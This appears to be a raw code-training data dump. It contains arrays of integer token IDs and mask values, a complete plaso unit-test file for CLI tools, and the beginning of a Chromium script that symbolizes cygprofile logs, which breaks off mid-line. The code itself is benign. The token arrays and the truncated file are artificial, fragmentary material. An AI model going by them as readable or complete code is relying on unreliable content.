19593, 63, 529, 63, 7367, 221, 327, 440, 1202, 523, 2536, 63, 10546, 63, 1866, 275, 11708, 63, 2330, 14, 5825, 63, 906, 689, 6024, 63, 16553, 627, 3522, 63, 890, 1182, 7960, 523, 9328, 63, 1866, 275, 2536, 63, 10546, 63, 1866, 523, 367, 20861, 12, 1343, 63, 7367, 315, 22248, 63, 27944, 26579, 26, 272, 340, 1453, 63, 7367, 2356, 1343, 63, 7367, 26, 489, 9328, 63, 1866, 275, 2536, 63, 10546, 63, 1866, 627, 20861, 272, 587, 26, 489, 2059, 523, 372, 9328, 63, 1866, 421, 199, 318, 2198, 63, 3059, 63, 8811, 8, 1773, 63, 3059, 12, 365, 63, 7588, 12, 2152, 304, 523, 408, 23400, 282, 2777, 3035, 282, 6093, 2893, 402, 376, 1834, 14, 819, 710, 1324, 2777, 365, 4565, 1901, 282, 1768, 436, 1834, 12, 436, 314, 1834, 365, 3032, 523, 4012, 26471, 7124, 334, 67, 20148, 12, 289, 317, 3637, 12, 436, 880, 641, 680, 819, 961, 1083, 15373, 314, 1768, 370, 1373, 18469, 370, 5542, 314, 5621, 805, 14, 819, 3033, 26, 272, 3066, 63, 3059, 26, 6917, 5878, 2833, 14, 875, 3035, 282, 6380, 489, 5679, 4113, 3335, 14, 272, 365, 63, 7588, 26, 437, 5046, 477, 1397, 316, 3775, 314, 1324, 365, 367, 6093, 14, 272, 2152, 26, 3918, 730, 370, 675, 367, 1324, 5935, 14, 819, 1803, 26, 272, 11634, 543, 7686, 1834, 2345, 436, 1373, 13, 8885, 13, 8167, 1768, 2345, 14, 523, 408, 523, 1834, 12, 1768, 275, 286, 692, 285, 63, 973, 14, 1122, 63, 3059, 8, 1773, 63, 3059, 12, 365, 63, 7588, 12, 2152, 9, 523, 1768, 275, 2833, 14, 5819, 14, 86, 17, 14, 4421, 63, 475, 63, 7253, 8, 1302, 12, 334, 559, 15315, 63, 973, 14, 7125, 63, 13748, 4706, 413, 9, 523, 372, 1834, 12, 1768, 421, 199, 318, 1255, 8, 2469, 63, 1113, 304, 523, 408, 2540, 3591, 2480, 445, 692, 285, 13, 709, 6093, 436, 3468, 4438, 1808, 5438, 1804, 30037, 15913, 14, 819, 3033, 26, 272, 3285, 63, 1113, 26, 1626, 909, 3035, 4565, 3305, 1338, 14, 819, 6218, 26, 272, 1722, 26, 982, 4090, 975, 365, 3032, 465, 652, 365, 440, 5544, 3748, 14, 819, 1803, 26, 272, 11932, 402, 6093, 436, 3468, 5020, 14, 523, 408, 523, 327, 3254, 8, 475, 991, 656, 24503, 304, 5852, 21719, 3305, 1380, 2833, 413, 14, 16, 5343, 11187, 14, 523, 327, 662, 1456, 365, 849, 315, 2833, 499, 14, 16, 436, 1077, 440, 506, 370, 27463, 523, 340, 11708, 63, 2330, 14, 374, 63, 86, 18, 63, 16, 837, 272, 11708, 63, 2330, 14, 409, 63, 888, 63, 86, 18, 342, 523, 587, 26, 272, 1101, 275, 11708, 63, 2330, 14, 362, 63, 888, 63, 2625, 63, 86, 17, 342, 272, 340, 3285, 63, 1113, 14, 4296, 63, 10283, 26, 489, 2833, 14, 5819, 14, 86, 17, 14, 4296, 63, 10283, 63, 9416, 8, 888, 29, 888, 9, 272, 587, 26, 489, 4043, 275, 2833, 14, 4434, 8, 888, 29, 888, 9, 489, 2833, 14, 8811, 14, 4620, 14, 409, 63, 1730, 8, 5480, 9, 819, 2152, 275, 3285, 63, 1018, 14, 362, 63, 3249, 63, 2271, 8, 2469, 63, 1113, 9, 523, 340, 2152, 508, 283, 3997, 975, 356, 272, 746, 1722, 360, 2271, 4090, 975, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
dc3-plaso/plaso
tests/cli/tools.py
1
10156
#!/usr/bin/python # -*- coding: utf-8 -*- """Tests for the CLI tools classes.""" import argparse import io import locale import sys import unittest from plaso.cli import tools from plaso.lib import errors from tests.cli import test_lib class CLIToolTest(test_lib.CLIToolTestCase): """Tests for the CLI tool base class.""" _EXPECTED_BASIC_OPTIONS = u'\n'.join([ u'usage: tool_test.py [-h] [-V]', u'', u'Test argument parser.', u'', u'optional arguments:', u' -V, --version show the version information.', u' -h, --help show this help message and exit.', u'']) _EXPECTED_DATA_OPTION = u'\n'.join([ u'usage: tool_test.py [--data PATH]', u'', u'Test argument parser.', u'', u'optional arguments:', u' --data PATH the location of the data files.', u'']) _EXPECTED_INFORMATIONAL_OPTIONS = u'\n'.join([ u'usage: tool_test.py [-d] [-q]', u'', u'Test argument parser.', u'', u'optional arguments:', u' -d, --debug enable debug output.', u' -q, --quiet disable informational output.', u'']) _EXPECTED_TIMEZONE_OPTION = u'\n'.join([ u'usage: tool_test.py [-z TIMEZONE]', u'', u'Test argument parser.', u'', u'optional arguments:', u' -z TIMEZONE, --zone TIMEZONE, --timezone TIMEZONE', (u' explicitly define the timezone. Typically ' u'the timezone'), (u' is determined automatically where possible. ' u'Use "-z'), u' list" to see a list of available timezones.', u'']) def testAddBasicOptions(self): """Tests the AddBasicOptions function.""" argument_parser = argparse.ArgumentParser( prog=u'tool_test.py', description=u'Test argument parser.', add_help=False, formatter_class=test_lib.SortedArgumentsHelpFormatter) test_tool = tools.CLITool() test_tool.AddBasicOptions(argument_parser) output = self._RunArgparseFormatHelp(argument_parser) self.assertEqual(output, self._EXPECTED_BASIC_OPTIONS) def testAddDataLocationOption(self): """Tests the AddDataLocationOption function.""" argument_parser = argparse.ArgumentParser( prog=u'tool_test.py', description=u'Test argument parser.', add_help=False, formatter_class=test_lib.SortedArgumentsHelpFormatter) test_tool = tools.CLITool() test_tool.AddDataLocationOption(argument_parser) output = self._RunArgparseFormatHelp(argument_parser) self.assertEqual(output, self._EXPECTED_DATA_OPTION) def testAddInformationalOptions(self): """Tests the AddInformationalOptions function.""" argument_parser = argparse.ArgumentParser( prog=u'tool_test.py', description=u'Test argument parser.', add_help=False, formatter_class=test_lib.SortedArgumentsHelpFormatter) test_tool = tools.CLITool() test_tool.AddInformationalOptions(argument_parser) output = self._RunArgparseFormatHelp(argument_parser) self.assertEqual(output, self._EXPECTED_INFORMATIONAL_OPTIONS) def testAddTimezoneOption(self): """Tests the AddTimezoneOption function.""" argument_parser = argparse.ArgumentParser( prog=u'tool_test.py', description=u'Test argument parser.', add_help=False, formatter_class=test_lib.SortedArgumentsHelpFormatter) test_tool = tools.CLITool() test_tool.AddTimezoneOption(argument_parser) output = self._RunArgparseFormatHelp(argument_parser) self.assertEqual(output, self._EXPECTED_TIMEZONE_OPTION) def testGetCommandLineArguments(self): """Tests the GetCommandLineArguments function.""" cli_tool = tools.CLITool() cli_tool.preferred_encoding = u'UTF-8' command_line_arguments = cli_tool.GetCommandLineArguments() self.assertIsNotNone(command_line_arguments) def testListTimeZones(self): """Tests the ListTimeZones function.""" output_writer = test_lib.TestOutputWriter() cli_tool = tools.CLITool(output_writer=output_writer) cli_tool.ListTimeZones() string = output_writer.ReadOutput() expected_string = ( b'\n' b'************************************ Zones ' b'*************************************\n' b' Timezone : UTC Offset\n' b'----------------------------------------' b'----------------------------------------\n') self.assertTrue(string.startswith(expected_string)) def testParseStringOption(self): """Tests the ParseStringOption function.""" encoding = sys.stdin.encoding # Note that sys.stdin.encoding can be None. if not encoding: encoding = locale.getpreferredencoding() cli_tool = tools.CLITool() cli_tool.preferred_encoding = u'UTF-8' expected_string = u'Test Unicode string' options = test_lib.TestOptions() options.test = expected_string string = cli_tool.ParseStringOption(options, u'test') self.assertEqual(string, expected_string) options = test_lib.TestOptions() string = cli_tool.ParseStringOption(options, u'test') self.assertIsNone(string) string = cli_tool.ParseStringOption( options, u'test', default_value=expected_string) self.assertEqual(string, expected_string) options = test_lib.TestOptions() options.test = expected_string.encode(encoding) string = cli_tool.ParseStringOption(options, u'test') self.assertEqual(string, expected_string) if encoding and encoding.upper() == u'UTF-8': options = test_lib.TestOptions() options.test = ( b'\xad\xfd\xab\x73\x99\xc7\xb4\x78\xd0\x8c\x8a\xee\x6d\x6a\xcb\x90') with self.assertRaises(errors.BadConfigOption): cli_tool.ParseStringOption(options, u'test') def testPrintSeparatorLine(self): """Tests the PrintSeparatorLine function.""" output_writer = test_lib.TestOutputWriter() cli_tool = tools.CLITool(output_writer=output_writer) cli_tool.PrintSeparatorLine() string = output_writer.ReadOutput() expected_string = ( b'----------------------------------------' b'----------------------------------------\n') self.assertEqual(string, expected_string) class StdinInputReaderTest(unittest.TestCase): """The unit test case for a stdin input reader.""" _TEST_DATA = ( b'A first string\n' b'A 2nd string\n' b'\xc3\xberi\xc3\xb0ja string\n' b'\xff\xfef\x00j\x00\xf3\x00r\x00\xf0\x00a\x00 \x00b\x00a\x00n\x00d\x00') def testReadAscii(self): """Tests the Read function with ASCII encoding.""" original_stdin = sys.stdin sys.stdin = io.BytesIO(self._TEST_DATA) input_reader = tools.StdinInputReader(encoding=u'ascii') string = input_reader.Read() self.assertEqual(string, u'A first string\n') string = input_reader.Read() self.assertEqual(string, u'A 2nd string\n') # UTF-8 string with non-ASCII characters. string = input_reader.Read() self.assertEqual(string, u'\ufffd\ufffdri\ufffd\ufffdja string\n') # UTF-16 string with non-ASCII characters. string = input_reader.Read() expected_string = ( u'\ufffd\ufffdf\x00j\x00\ufffd\x00r\x00\ufffd\x00a\x00 ' u'\x00b\x00a\x00n\x00d\x00') self.assertEqual(string, expected_string) sys.stdin = original_stdin def testReadUtf8(self): """Tests the Read function with UTF-8 encoding.""" original_stdin = sys.stdin sys.stdin = io.BytesIO(self._TEST_DATA) input_reader = tools.StdinInputReader() string = input_reader.Read() self.assertEqual(string, u'A first string\n') string = input_reader.Read() self.assertEqual(string, u'A 2nd string\n') # UTF-8 string with non-ASCII characters. string = input_reader.Read() self.assertEqual(string, u'þriðja string\n') # UTF-16 string with non-ASCII characters. string = input_reader.Read() expected_string = ( u'\ufffd\ufffdf\x00j\x00\ufffd\x00r\x00\ufffd\x00a\x00 ' u'\x00b\x00a\x00n\x00d\x00') self.assertEqual(string, expected_string) sys.stdin = original_stdin class FileObjectOutputWriterTest(unittest.TestCase): """The unit test case for a file-like object output writer.""" def testWriteAscii(self): """Tests the Write function with ASCII encoding.""" output_writer = test_lib.TestOutputWriter(encoding=u'ascii') output_writer.Write(u'A first string\n') string = output_writer.ReadOutput() self.assertEqual(string, b'A first string\n') # Byte string with ASCII characters. output_writer.Write(b'A 2nd string\n') string = output_writer.ReadOutput() self.assertEqual(string, b'A 2nd string\n') # Unicode string with non-ASCII characters. output_writer.Write(u'þriðja string\n') string = output_writer.ReadOutput() self.assertEqual(string, b'?ri?ja string\n') # Byte string with non-ASCII characters. with self.assertRaises(UnicodeDecodeError): # This fails because the byte string cannot be converted to # a Unicode string before the call to encode(). output_writer.Write(b'\xc3\xberi\xc3\xb0ja string\n') def testWriteUtf8(self): """Tests the Write function with UTF-8 encoding.""" output_writer = test_lib.TestOutputWriter() output_writer.Write(u'A first string\n') string = output_writer.ReadOutput() self.assertEqual(string, b'A first string\n') # Byte string with ASCII characters. output_writer.Write(b'A 2nd string\n') string = output_writer.ReadOutput() self.assertEqual(string, b'A 2nd string\n') # Unicode string with non-ASCII characters. output_writer.Write(u'þriðja string\n') string = output_writer.ReadOutput() self.assertEqual(string, b'\xc3\xberi\xc3\xb0ja string\n') # Byte string with non-ASCII characters. with self.assertRaises(UnicodeDecodeError): # This fails because the byte string cannot be converted to # a Unicode string before the call to encode(). output_writer.Write(b'\xc3\xberi\xc3\xb0ja string\n') if __name__ == '__main__': unittest.main()
apache-2.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 2925, 367, 314, 14214, 7249, 3992, 1041, 199, 199, 646, 7534, 199, 646, 5890, 199, 646, 5867, 199, 646, 984, 199, 646, 2882, 199, 199, 504, 1620, 305, 79, 14, 2764, 492, 7249, 199, 504, 1620, 305, 79, 14, 773, 492, 2552, 199, 199, 504, 2295, 14, 2764, 492, 511, 63, 773, 421, 199, 533, 13354, 649, 21943, 774, 8, 396, 63, 773, 14, 1981, 649, 21943, 1746, 304, 523, 408, 2925, 367, 314, 14214, 4744, 1300, 1021, 1041, 819, 485, 22358, 63, 27271, 63, 8808, 275, 399, 1154, 78, 1370, 904, 779, 489, 399, 7, 3807, 26, 4744, 63, 396, 14, 647, 5243, 72, 61, 5243, 54, 4300, 489, 399, 6448, 489, 399, 7, 774, 1423, 1798, 3130, 489, 399, 6448, 489, 399, 7, 4144, 2368, 6536, 489, 399, 7, 221, 446, 54, 12, 1553, 1023, 221, 2498, 314, 1015, 2556, 3130, 489, 399, 7, 221, 446, 72, 12, 1553, 3437, 258, 2498, 642, 1720, 1245, 436, 4458, 3130, 489, 399, 7, 1105, 819, 485, 22358, 63, 3998, 63, 13352, 275, 399, 1154, 78, 1370, 904, 779, 489, 399, 7, 3807, 26, 4744, 63, 396, 14, 647, 19344, 576, 15097, 4300, 489, 399, 6448, 489, 399, 7, 774, 1423, 1798, 3130, 489, 399, 6448, 489, 399, 7, 4144, 2368, 6536, 489, 399, 7, 221, 1553, 576, 15097, 221, 314, 2909, 402, 314, 666, 1584, 3130, 489, 399, 7, 1105, 819, 485, 22358, 63, 21583, 748, 63, 8808, 275, 399, 1154, 78, 1370, 904, 779, 489, 399, 7, 3807, 26, 4744, 63, 396, 14, 647, 5243, 68, 61, 5243, 81, 4300, 489, 399, 6448, 489, 399, 7, 774, 1423, 1798, 3130, 489, 399, 6448, 489, 399, 7, 4144, 2368, 6536, 489, 399, 7, 221, 446, 68, 12, 1553, 1757, 221, 4756, 3105, 1072, 3130, 489, 399, 7, 221, 446, 81, 12, 1553, 10243, 221, 3507, 2556, 279, 1072, 3130, 489, 399, 7, 1105, 819, 485, 22358, 63, 4961, 15353, 63, 13352, 275, 399, 1154, 78, 1370, 904, 779, 489, 399, 7, 3807, 26, 4744, 63, 396, 14, 647, 5243, 90, 17032, 15353, 4300, 489, 399, 6448, 489, 399, 7, 774, 1423, 1798, 3130, 489, 399, 6448, 489, 399, 7, 4144, 2368, 6536, 489, 399, 7, 221, 446, 90, 17032, 15353, 12, 1553, 2619, 17032, 15353, 12, 1553, 7145, 17032, 15353, 297, 489, 334, 85, 7, 12788, 7662, 5627, 314, 7137, 14, 26914, 283, 2126, 399, 1133, 426, 7137, 659, 489, 334, 85, 7, 12788, 365, 12037, 5847, 2382, 3962, 14, 283, 2126, 399, 7, 6119, 3905, 90, 659, 489, 399, 7, 12788, 769, 2, 370, 1937, 282, 769, 402, 2808, 7137, 83, 3130, 489, 399, 7, 1105, 819, 347, 511, 1123, 6845, 4558, 8, 277, 304, 272, 408, 2925, 314, 2654, 6845, 4558, 805, 1041, 272, 1423, 63, 2087, 275, 7534, 14, 10730, 8, 267, 13205, 29, 85, 1133, 21943, 63, 396, 14, 647, 297, 1369, 29, 85, 7, 774, 1423, 1798, 3130, 267, 1050, 63, 3437, 29, 797, 12, 9698, 63, 533, 29, 396, 63, 773, 14, 22861, 14517, 22779, 9, 339, 511, 63, 3557, 275, 7249, 14, 1981, 649, 21943, 342, 272, 511, 63, 3557, 14, 1123, 6845, 4558, 8, 2094, 63, 2087, 9, 339, 1072, 275, 291, 423, 2540, 6373, 1122, 3484, 8673, 8, 2094, 63, 2087, 9, 272, 291, 14, 629, 8, 1199, 12, 291, 423, 22358, 63, 27271, 63, 8808, 9, 819, 347, 511, 1123, 1451, 6592, 2602, 8, 277, 304, 272, 408, 2925, 314, 2654, 1451, 6592, 2602, 805, 1041, 272, 1423, 63, 2087, 275, 7534, 14, 10730, 8, 267, 13205, 29, 85, 1133, 21943, 63, 396, 14, 647, 297, 1369, 29, 85, 7, 774, 1423, 1798, 3130, 267, 1050, 63, 3437, 29, 797, 12, 9698, 63, 533, 29, 396, 63, 773, 14, 22861, 14517, 22779, 9, 339, 511, 63, 3557, 275, 7249, 14, 1981, 649, 21943, 342, 272, 511, 63, 3557, 14, 1123, 1451, 6592, 2602, 8, 2094, 63, 2087, 9, 339, 1072, 275, 291, 423, 2540, 6373, 1122, 3484, 8673, 8, 2094, 63, 2087, 9, 272, 291, 14, 629, 8, 1199, 12, 291, 423, 22358, 63, 3998, 63, 13352, 9, 819, 347, 511, 1123, 4935, 279, 4558, 8, 277, 304, 272, 408, 2925, 314, 2654, 4935, 279, 4558, 805, 1041, 272, 1423, 63, 2087, 275, 7534, 14, 10730, 8, 267, 13205, 29, 85, 1133, 21943, 63, 396, 14, 647, 297, 1369, 29, 85, 7, 774, 1423, 1798, 3130, 267, 1050, 63, 3437, 29, 797, 12, 9698, 63, 533, 29, 396, 63, 773, 14, 22861, 14517, 22779, 9, 339, 511, 63, 3557, 275, 7249, 14, 1981, 649, 21943, 342, 272, 511, 63, 3557, 14, 1123, 4935, 279, 4558, 8, 2094, 63, 2087, 9, 339, 1072, 275, 291, 423, 2540, 6373, 1122, 3484, 8673, 8, 2094, 63, 2087, 9, 272, 291, 14, 629, 8, 1199, 12, 291, 423, 22358, 63, 21583, 748, 63, 8808, 9, 819, 347, 511, 1123, 28705, 2602, 8, 277, 304, 272, 408, 2925, 314, 2654, 28705, 2602, 805, 1041, 272, 1423, 63, 2087, 275, 7534, 14, 10730, 8, 267, 13205, 29, 85, 1133, 21943, 63, 396, 14, 647, 297, 1369, 29, 85, 7, 774, 1423, 1798, 3130, 267, 1050, 63, 3437, 29, 797, 12, 9698, 63, 533, 29, 396, 63, 773, 14, 22861, 14517, 22779, 9, 339, 511, 63, 3557, 275, 7249, 14, 1981, 649, 21943, 342, 272, 511, 63, 3557, 14, 1123, 28705, 2602, 8, 2094, 63, 2087, 9, 339, 1072, 275, 291, 423, 2540, 6373, 1122, 3484, 8673, 8, 2094, 63, 2087, 9, 272, 291, 14, 629, 8, 1199, 12, 291, 423, 22358, 63, 4961, 15353, 63, 13352, 9, 819, 347, 19970, 16926, 14517, 8, 277, 304, 272, 408, 2925, 314, 2372, 16926, 14517, 805, 1041, 272, 5053, 63, 3557, 275, 7249, 14, 1981, 649, 21943, 342, 272, 5053, 63, 3557, 14, 17477, 63, 2991, 275, 399, 7, 6610, 13, 24, 7, 339, 1414, 63, 604, 63, 4958, 275, 5053, 63, 3557, 14, 1002, 16926, 14517, 342, 272, 291, 14, 10389, 8, 1531, 63, 604, 63, 4958, 9, 819, 347, 511, 1296, 1366, 58, 4548, 8, 277, 304, 272, 408, 2925, 314, 3820, 1366, 58 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 2925, 367, 314, 14214, 7249, 3992, 1041, 199, 199, 646, 7534, 199, 646, 5890, 199, 646, 5867, 199, 646, 984, 199, 646, 2882, 199, 199, 504, 1620, 305, 79, 14, 2764, 492, 7249, 199, 504, 1620, 305, 79, 14, 773, 492, 2552, 199, 199, 504, 2295, 14, 2764, 492, 511, 63, 773, 421, 199, 533, 13354, 649, 21943, 774, 8, 396, 63, 773, 14, 1981, 649, 21943, 1746, 304, 523, 408, 2925, 367, 314, 14214, 4744, 1300, 1021, 1041, 819, 485, 22358, 63, 27271, 63, 8808, 275, 399, 1154, 78, 1370, 904, 779, 489, 399, 7, 3807, 26, 4744, 63, 396, 14, 647, 5243, 72, 61, 5243, 54, 4300, 489, 399, 6448, 489, 399, 7, 774, 1423, 1798, 3130, 489, 399, 6448, 489, 399, 7, 4144, 2368, 6536, 489, 399, 7, 221, 446, 54, 12, 1553, 1023, 221, 2498, 314, 1015, 2556, 3130, 489, 399, 7, 221, 446, 72, 12, 1553, 3437, 258, 2498, 642, 1720, 1245, 436, 4458, 3130, 489, 399, 7, 1105, 819, 485, 22358, 63, 3998, 63, 13352, 275, 399, 1154, 78, 1370, 904, 779, 489, 399, 7, 3807, 26, 4744, 63, 396, 14, 647, 19344, 576, 15097, 4300, 489, 399, 6448, 489, 399, 7, 774, 1423, 1798, 3130, 489, 399, 6448, 489, 399, 7, 4144, 2368, 6536, 489, 399, 7, 221, 1553, 576, 15097, 221, 314, 2909, 402, 314, 666, 1584, 3130, 489, 399, 7, 1105, 819, 485, 22358, 63, 21583, 748, 63, 8808, 275, 399, 1154, 78, 1370, 904, 779, 489, 399, 7, 3807, 26, 4744, 63, 396, 14, 647, 5243, 68, 61, 5243, 81, 4300, 489, 399, 6448, 489, 399, 7, 774, 1423, 1798, 3130, 489, 399, 6448, 489, 399, 7, 4144, 2368, 6536, 489, 399, 7, 221, 446, 68, 12, 1553, 1757, 221, 4756, 3105, 1072, 3130, 489, 399, 7, 221, 446, 81, 12, 1553, 10243, 221, 3507, 2556, 279, 1072, 3130, 489, 399, 7, 1105, 819, 485, 22358, 63, 4961, 15353, 63, 13352, 275, 399, 1154, 78, 1370, 904, 779, 489, 399, 7, 3807, 26, 4744, 63, 396, 14, 647, 5243, 90, 17032, 15353, 4300, 489, 399, 6448, 489, 399, 7, 774, 1423, 1798, 3130, 489, 399, 6448, 489, 399, 7, 4144, 2368, 6536, 489, 399, 7, 221, 446, 90, 17032, 15353, 12, 1553, 2619, 17032, 15353, 12, 1553, 7145, 17032, 15353, 297, 489, 334, 85, 7, 12788, 7662, 5627, 314, 7137, 14, 26914, 283, 2126, 399, 1133, 426, 7137, 659, 489, 334, 85, 7, 12788, 365, 12037, 5847, 2382, 3962, 14, 283, 2126, 399, 7, 6119, 3905, 90, 659, 489, 399, 7, 12788, 769, 2, 370, 1937, 282, 769, 402, 2808, 7137, 83, 3130, 489, 399, 7, 1105, 819, 347, 511, 1123, 6845, 4558, 8, 277, 304, 272, 408, 2925, 314, 2654, 6845, 4558, 805, 1041, 272, 1423, 63, 2087, 275, 7534, 14, 10730, 8, 267, 13205, 29, 85, 1133, 21943, 63, 396, 14, 647, 297, 1369, 29, 85, 7, 774, 1423, 1798, 3130, 267, 1050, 63, 3437, 29, 797, 12, 9698, 63, 533, 29, 396, 63, 773, 14, 22861, 14517, 22779, 9, 339, 511, 63, 3557, 275, 7249, 14, 1981, 649, 21943, 342, 272, 511, 63, 3557, 14, 1123, 6845, 4558, 8, 2094, 63, 2087, 9, 339, 1072, 275, 291, 423, 2540, 6373, 1122, 3484, 8673, 8, 2094, 63, 2087, 9, 272, 291, 14, 629, 8, 1199, 12, 291, 423, 22358, 63, 27271, 63, 8808, 9, 819, 347, 511, 1123, 1451, 6592, 2602, 8, 277, 304, 272, 408, 2925, 314, 2654, 1451, 6592, 2602, 805, 1041, 272, 1423, 63, 2087, 275, 7534, 14, 10730, 8, 267, 13205, 29, 85, 1133, 21943, 63, 396, 14, 647, 297, 1369, 29, 85, 7, 774, 1423, 1798, 3130, 267, 1050, 63, 3437, 29, 797, 12, 9698, 63, 533, 29, 396, 63, 773, 14, 22861, 14517, 22779, 9, 339, 511, 63, 3557, 275, 7249, 14, 1981, 649, 21943, 342, 272, 511, 63, 3557, 14, 1123, 1451, 6592, 2602, 8, 2094, 63, 2087, 9, 339, 1072, 275, 291, 423, 2540, 6373, 1122, 3484, 8673, 8, 2094, 63, 2087, 9, 272, 291, 14, 629, 8, 1199, 12, 291, 423, 22358, 63, 3998, 63, 13352, 9, 819, 347, 511, 1123, 4935, 279, 4558, 8, 277, 304, 272, 408, 2925, 314, 2654, 4935, 279, 4558, 805, 1041, 272, 1423, 63, 2087, 275, 7534, 14, 10730, 8, 267, 13205, 29, 85, 1133, 21943, 63, 396, 14, 647, 297, 1369, 29, 85, 7, 774, 1423, 1798, 3130, 267, 1050, 63, 3437, 29, 797, 12, 9698, 63, 533, 29, 396, 63, 773, 14, 22861, 14517, 22779, 9, 339, 511, 63, 3557, 275, 7249, 14, 1981, 649, 21943, 342, 272, 511, 63, 3557, 14, 1123, 4935, 279, 4558, 8, 2094, 63, 2087, 9, 339, 1072, 275, 291, 423, 2540, 6373, 1122, 3484, 8673, 8, 2094, 63, 2087, 9, 272, 291, 14, 629, 8, 1199, 12, 291, 423, 22358, 63, 21583, 748, 63, 8808, 9, 819, 347, 511, 1123, 28705, 2602, 8, 277, 304, 272, 408, 2925, 314, 2654, 28705, 2602, 805, 1041, 272, 1423, 63, 2087, 275, 7534, 14, 10730, 8, 267, 13205, 29, 85, 1133, 21943, 63, 396, 14, 647, 297, 1369, 29, 85, 7, 774, 1423, 1798, 3130, 267, 1050, 63, 3437, 29, 797, 12, 9698, 63, 533, 29, 396, 63, 773, 14, 22861, 14517, 22779, 9, 339, 511, 63, 3557, 275, 7249, 14, 1981, 649, 21943, 342, 272, 511, 63, 3557, 14, 1123, 28705, 2602, 8, 2094, 63, 2087, 9, 339, 1072, 275, 291, 423, 2540, 6373, 1122, 3484, 8673, 8, 2094, 63, 2087, 9, 272, 291, 14, 629, 8, 1199, 12, 291, 423, 22358, 63, 4961, 15353, 63, 13352, 9, 819, 347, 19970, 16926, 14517, 8, 277, 304, 272, 408, 2925, 314, 2372, 16926, 14517, 805, 1041, 272, 5053, 63, 3557, 275, 7249, 14, 1981, 649, 21943, 342, 272, 5053, 63, 3557, 14, 17477, 63, 2991, 275, 399, 7, 6610, 13, 24, 7, 339, 1414, 63, 604, 63, 4958, 275, 5053, 63, 3557, 14, 1002, 16926, 14517, 342, 272, 291, 14, 10389, 8, 1531, 63, 604, 63, 4958, 9, 819, 347, 511, 1296, 1366, 58, 4548, 8, 277, 304, 272, 408, 2925, 314, 3820, 1366, 58, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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43
8785
#!/usr/bin/python # Copyright 2013 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Symbolize log file produced by cypgofile instrumentation. Given a log file and the binary being profiled (e.g. executable, shared library), the script can produce three different outputs: 1) symbols for the addresses, 2) function and line numbers for the addresses, or 3) an order file. """ import optparse import os import string import subprocess import sys def ParseLogLines(log_file_lines): """Parse a log file produced by the profiled run of clank. Args: log_file_lines: array of lines in log file produced by profiled run lib_name: library or executable containing symbols Below is an example of a small log file: 5086e000-52e92000 r-xp 00000000 b3:02 51276 libchromeview.so secs usecs pid:threadid func START 1314897086 795828 3587:1074648168 0x509e105c 1314897086 795874 3587:1074648168 0x509e0eb4 1314897086 796326 3587:1074648168 0x509e0e3c 1314897086 796552 3587:1074648168 0x509e07bc END Returns: call_info list with list of tuples of the format (sec, usec, call id, function address called) """ call_lines = [] has_started = False vm_start = 0 line = log_file_lines[0] assert("r-xp" in line) end_index = line.find('-') vm_start = int(line[:end_index], 16) for line in log_file_lines[2:]: # print hex(vm_start) fields = line.split() if len(fields) == 4: call_lines.append(fields) # Convert strings to int in fields. call_info = [] for call_line in call_lines: (sec_timestamp, usec_timestamp) = map(int, call_line[0:2]) callee_id = call_line[2] addr = int(call_line[3], 16) if vm_start < addr: addr -= vm_start call_info.append((sec_timestamp, usec_timestamp, callee_id, addr)) return call_info def ParseLibSymbols(lib_file): """Get output from running nm and greping for text symbols. Args: lib_file: the library or executable that contains the profiled code Returns: list of sorted unique addresses and corresponding size of function symbols in lib_file and map of addresses to all symbols at a particular address """ cmd = ['nm', '-S', '-n', lib_file] nm_p = subprocess.Popen(cmd, stdout=subprocess.PIPE) output = nm_p.communicate()[0] nm_lines = output.split('\n') nm_symbols = [] for nm_line in nm_lines: if any(str in nm_line for str in (' t ', ' W ', ' T ')): nm_symbols.append(nm_line) nm_index = 0 unique_addrs = [] address_map = {} while nm_index < len(nm_symbols): # If the length of the split line is not 4, then it does not contain all the # information needed to symbolize (i.e. address, size and symbol name). if len(nm_symbols[nm_index].split()) == 4: (addr, size) = [int(x, 16) for x in nm_symbols[nm_index].split()[0:2]] # Multiple symbols may be at the same address. This is do to aliasing # done by the compiler. Since there is no way to be sure which one was # called in profiled run, we will symbolize to include all symbol names at # a particular address. fnames = [] while (nm_index < len(nm_symbols) and addr == 